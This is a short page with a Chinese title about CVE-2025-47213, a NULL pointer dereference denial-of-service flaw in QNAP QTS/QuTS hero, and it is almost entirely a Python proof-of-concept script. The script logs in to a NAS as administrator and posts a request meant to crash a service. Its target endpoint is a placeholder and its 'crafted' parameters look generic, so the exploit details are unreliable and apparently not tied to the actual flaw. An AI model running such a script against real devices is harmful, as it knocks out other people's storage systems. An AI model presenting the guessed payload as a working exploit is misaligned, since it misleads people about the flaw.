CVE-2025-47213：QNAP操作系统空指针解引用拒绝服务漏洞

# CVE-2025-47213 PoC - QNAP NULL Pointer Dereference DoS # Vulnerability: NULL Pointer Dereference in QNAP QTS/QuTS hero # Requirements: Valid administrator credentials # Impact: Denial of Service (System Crash) import requests import sys TARGET_HOST = "https://<qnap-nas-ip>:8080" ADMIN_USER = "admin" ADMIN_PASS = "<admin_password>" def exploit_null_pointer_deref(): """ Trigger NULL pointer dereference in vulnerable QNAP service. The attacker must possess valid admin credentials to reach the vulnerable code path. """ session = requests.Session() # Step 1: Authenticate as administrator login_url = f"{TARGET_HOST}/cgi-bin/authLogin.cgi" login_payload = { "user": ADMIN_USER, "pwd": ADMIN_PASS } try: resp = session.post(login_url, data=login_payload, verify=False, timeout=10) if resp.status_code != 200: print("[!] Authentication failed") return False print("[*] Authenticated as administrator") except Exception as e: print(f"[!] Connection error: {e}") return False # Step 2: Send crafted request to trigger NULL pointer dereference # The vulnerable endpoint fails to validate a pointer before dereferencing it, # causing a segmentation fault and crashing the service process. vuln_url = f"{TARGET_HOST}/cgi-bin/<vulnerable_endpoint>" crafted_payload = { # Malformed parameters designed to leave an internal pointer uninitialized "param1": "\x00", "param2": None, "action": "trigger_dos" } try: resp = session.post(vuln_url, data=crafted_payload, verify=False, timeout=10) print(f"[*] Request sent, status: {resp.status_code}") except requests.exceptions.RequestException as e: # Service may crash and stop responding - this indicates successful exploitation print(f"[*] Service appears to have crashed (expected): {e}") return True return False if __name__ == "__main__": print("[*] CVE-2025-47213 PoC - QNAP NULL Pointer Dereference DoS") print("[*] WARNING: Requires valid admin credentials") if exploit_null_pointer_deref(): print("[+] Exploit completed - target service may be unavailable") else: print("[-] Exploit did not trigger the vulnerability")